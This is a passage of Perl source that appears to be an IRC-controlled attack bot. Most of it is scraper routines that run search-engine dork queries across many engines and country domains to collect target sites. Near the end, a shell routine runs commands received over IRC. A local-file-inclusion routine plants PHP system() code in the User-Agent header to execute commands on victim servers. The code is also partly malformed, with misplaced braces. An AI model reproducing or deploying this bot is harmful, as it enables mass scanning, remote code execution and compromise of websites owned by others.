           while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
                my $link = $1;
                if ($link!~ /google|interia/) {
                   my @grep=links($link);
                   push(@list,@grep);
           }
       }
   }
  return @list;
}

sub snz() {
    my @list;
    my $key = $_[0];
    for (my $b=1; $b<=1000; $b+=100) {
        my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&np=".$b);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
            my $link = $1;
            if ($link!~ /searchnz/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yandex(){
    my @list;
    my $key = $_[0];
    for ($b=0; $b<=50; $b+=10){
        my $search=("http://yandex.ru/yandsearch?p=".$b."&text=".&key($key)."&lr=84");
        my $res= search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link!~ /yandex/ ){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
   return @list;
}

sub joeant(){
    my @list;
    my $key = $_[0];
    for ($b=0; $b<=50; $b+=10){
        my $search=("http://www.joeant.com/DIR/search.php?keywords=".&key($key)."&page=".$b."&limit=10");
        my $res= search_engine_query($search);
        while ($res =~ m/<a href=\http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link!~ /joeant/ ){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
   return @list;
}

sub terra(){
    my @list;
    my $key = $_[0];
    for ($b=0; $b<=50; $b+=10){
        my $search=("http://buscador.terra.com/Results.aspx?ca=a&source=Search&query=".$key);
        my $res= search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link!~ /terra/ ){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
   return @list;
}

sub youdao() {
	my @list;
	my $key = $_[0]; {
        my $search = ("http://www.youdao.com/search?q=".&key($key)."&start=10&ue=utf8&keyfrom=".$b."&lq=".&key($key)."&timesort=0");
        my $res = search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
            if ($1 !~ /youdao/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub amfibi() {
	my @list;
	my $key = $_[0]; {
        my $search = ("http://www.amfibi.com/search?query=".&key($key)."&start=".$b);
        my $res = search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
            if ($1 !~ /amfibi|cache/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bigclique() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
	    $num += $num;
        my $search = ("http://www.bigclique.com/search.jsp?query=".&key($key)."&hitsPerPage=10&start=".$num."&hitsPerSite=".$b);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
            if ($1 !~ /bigclique|cached/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub dancefloor() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
	    $num += $num;
        my $search = ("http://www.dancefloorhireuk.co.uk/events/search.php?query=".&key($key)."&start=".$b."&search=1&results=10&type=and&domain=");
        my $res = search_engine_query($search);
        while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
            if ($1 !~ /dancefloor|query/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;

sub live {
  my $key = $_[0];
  my @list;
  my $num = 50; my $max = 5000; my $p;
  my $search = "http://search.live.com/results.aspx?q=".&key($key)."&go";
  my $msearch =  "http://search.live.com";
  my $nxsearch;
  my $res = search_engine_query($search);
  if ( $res =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
      my $nxsearch = $1;
  }
  while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
    my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
  }
  for ( $p=0;$p<=$max;$p += $num ) {
    $nxsearch = $msearch.htmltosearch($1)."&go";
    $res = search_engine_query("http://search.live.com/results.aspx?q=".&key($key)."&first=".$p."&FORM=PORE");
    while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
      my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
    }
  }
  return @list;
}

sub rakuten() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://websearch.rakuten.co.jp/Web?qt=".&key($key)."&col=OW&lg=all&st=".$b."&svx=101722");
        my $res = search_engine_query($search);
        while ($res =~ m/<a class="sc_result result" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /rakuten/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub biglobe {
  my $key = $_[0];
  my @list;
  for ($b=1; $b<=500; $b+=10) {
    $num += $num;
    my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
    my $res = search_engine_query($search);
    while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
        if ($1 !~ /biglobe/){
	    my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sub JAPAN() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.co.jp/search?q=".key($key)."&num=100&filter=&cr=countryJP&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /JAPAN/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub CHINA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.cn/search?q=".key($key)."&num=100&filter=&cr=countryCN&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /CHINA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub MALAYSIA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.com.my/search?q=".key($key)."&num=100&filter=&cr=countryMY&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /MALAYSIA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub THAILAND() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.co.th/search?q=".key($key)."&num=100&filter=&cr=countryTH&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /THAILAND/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub INDIA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.co.in/search?q=".key($key)."&num=100&filter=&cr=countryIN&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /INDIA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub KOREA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.co.kr/search?q=".key($key)."&num=100&filter=&cr=countryKR&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /KOREA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ROMANIA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.ro/search?q=".key($key)."&num=100&filter=&cr=countryRO&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /ROMANIA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub TAIWAN() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.com.tw/search?q=".key($key)."&num=100&filter=&cr=countryTW&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /TAIWAN/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub SOUTHAFRICA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.co.za/search?q=".key($key)."&num=100&filter=&cr=countryZA&as_qdr=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /SOUTHAFRICA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub nova() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
	    $num += $num;
        my $search = ("http://nova.rambler.ru/srch?query=".&key($key)."&page=".$b."&start=".$num);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /rambler|cache/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub najdi() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
	    $num += $num;
        my $search = ("http://www.najdi.si/search.jsp?q=".&key($key)."&o=".$b."&maxHitsPerGroup=".$num);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
            if ($1 !~ /najdi|cache/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub goo() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.goo.ne.jp/web.jsp?STYPE=web&OE=UTF-8&MT=".&key($key)."&IE=UTF-8&FR=".$b."&from=pager");
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
            if ($1 !~ /goo/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub uksubmit() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://www.uksubmit.co.uk/index.php?query=".&key($key)."&searchType=Web&page=".$b);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
            if ($1 !~ /uksubmit/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub netsprint(){
        my @list;
        my $key = $_[0];
        for($b=1;$b<=1000;$b+=100){
                my $Th=("http://www.netsprint.pl/serwis/search?q=".key($key)."&rpp=10&pg=".$b."&ff=0&z=1&format=-1");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($link!~ /netsprint/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                        }
                }
return @list;
}

sub saol(){
        my @list;
        my $key = $_[0];
        for($b=1;$b<=1000;$b+=100){
                my $Th=("http://search.aol.com/aol/search?enabled_terms=&q=".key($key)."&s_it=comsearch50&page=".$b."&oreq=810a106cf821477ab0349f9caa875f82&v_t=comsearch50");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/<span property=\"f:durl\">(.+?)<\/span>/g){
                        my $link = $1; if ($link!~ /aol/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                }
        }
return @list;
}

sub lookle(){
        my @list;
        my $key = $_[0];
        for($b=1;$b<=1000;$b+=100){
                my $Th=("http://www.lookle.com/search/index.php?page=search/web&search=".key($key)."&type=web&startpage=".$b);
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link=$1; if ($link!~ /lookle/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                        }
                }
return @list;
}

sub optuszoo(){
        my @list;
        my $key = $_[0];
        for($b=10;$b<=1000;$b+=100){
                my $Th=("http://www.optuszoo.com.au/search?q=".key($key)."&start=".$b."&target=web");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($link!~ /optuszoo/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                        }
                }
return @list;
}

sub search66(){
        my @list;
        my $key = $_[0];
        for($b=10;$b<=1000;$b+=100){
                my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($link!~ /search66/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                        }
                }
return @list;
}

sub arrama(){
        my @list;
        my $key = $_[0];
        for($b=10;$b<=1000;$b+=100){
                my $Th=("http://www.arrama.com/arama.html?cx=partner-pub-8986600646077390%3A3up8c9-e187&cof=FORID%3A10&ie=UTF-8&q=".key($key)."&sa=Web'de+Ara-Bul&siteurl=www.arrama.com%2F#8".$b."");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($link!~ /arrama/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                }
        }
return @list;
}

sub excitejp(){
        my @list;
        my $key = $_[0];
        for($b=10;$b<=1000;$b+=100){
                my $Th=("http://www.excite.co.jp/search.gw?target=combined&look=excite_jp&Language=&sstype=excite_r&search=".key($key)."&FirstResult=".$b."");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($link!~ /excite/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                }
        }
return @list;
}

return @list;
}
   
sub clix(){
        my @list;
        my $key = $_[0];
        for($b=1;$b<=1000;$b+=100){
                my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($link!~ /clix/ ){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                }
        }
return @list;
}

sub searchch(){
        my @list;
        my $key = $_[0];
        for($b=10;$b<=1000;$b+=100){
                my $Th=("http://web.search.ch/?rank=".$b."&q=".key($key)."");
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($1 !~ /search\.ch/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                }
        }
return @list;
}

sub cada(){
        my @list;
        my $key = $_[0];
        for($b=10;$b<=1000;$b+=100){
                my $Th=("http://cade.search.yahoo.com/search;_ylt=A0geu8ny1rRO8gQADw7b7Qt.?p=".key($key)."&fr=sfp&xargs=0&pstart=1&b=".$b);
                my $Res=&search_engine_query($Th);
                while($Res =~ m/http:\/\/(.+?)\//g){
                        my $link = $1; if ($1 !~ /cada|yahoo/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); }
                        }
                }
return @list;
}

sub excite() {
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
	    $num += $num;
        my $search = ("http://msxml.excite.com/excite/ws/results/Web/".$key."/".$b."/0/0/Relevance/zoom=off/qi=".$num."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
        my $res = search_engine_query($search);
        while ($res =~ m/status='http:\/\/(.*?)';/g) {
            if ($1 !~ /excite|google|Yahoo/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

#########################################

sub clean() {
    my @cln = ();
    my %visit = ();
    foreach my $element (@_) {
        $element =~ s/\/+/\//g;
        next if $visit{$element}++;
        push @cln, $element;
    }
    return @cln;
}

sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/\?/\%3F/g;
    $dork =~ s/&/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
	$dork =~ s/@/\%40/g;
	$dork =~ s/\[/\%5B/g;
	$dork =~ s/\]/\%5D/g;
	$dork =~ s/\?/\%3F/g;
	$dork =~ s/\=/\%3D/g;
	$dork =~ s/\|/\%7C/g;
    return $dork;
}

sub links() {
    my @list;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/$1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push(@list,$link,$host,$hdir);
    return @list;
}

sub search_engine_query($) {
    my $url = $_[0];
    $url =~ s/http:\/\///;
    my $host = $url;
    my $query = $url;
    my $page  = "";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~ s/$host//;
    if ($query eq "") { $query = "/"; }
        eval {
            my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
            print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
            my @pages = <$sock>;
            $page = "@pages";
            close($sock);
        };
    return $page;
}

#########################################

sub shell() {
    my $path = $_[0];
    my $cmd = $_[1];
    if ($cmd =~ /cd (.*)/) {
        chdir("$1") || &msg("$path","4,1No such file or directory");
        return;
    }
    elsif ($pid = fork) { waitpid($pid, 0); }
    else { if (fork) { exit; } else {
        my @output = `$cmd 2>&1 3>&1`;
        my $c = 0;
        foreach my $output (@output) {
            $c++;
            chop $output;
            &msg("$path","$output");
            if ($c == 5) { $c = 0; sleep 2; }
        }
        exit;
    }}
}

sub isAdmin() {
    my $status = 0;
    my $nick = $_[0];
    if ($nick eq $admin) { $status = 1; }
    return $status;
}

sub msg() {
    return unless $#_ == 1;
    sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}

sub nick() {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}

sub notice() {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}

sub cmdlfi() {
my $browser = LWP::UserAgent->new;
my $url  = $_[0];
my $cmd  = $_[1];
my $chan = $_[2];
my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut";
$browser->agent("$hie");
$browser->timeout(7);
$response = $browser->get( $url );
if ($response->content =~ /j13mbut(.*)j13mbut/s) {
&msg("$chan","15,1(4@9CMDLFI15)9 $1");
} else {
	&msg("$chan","15,1(4@9CMDLFI15)4 No Output");
	    }}
}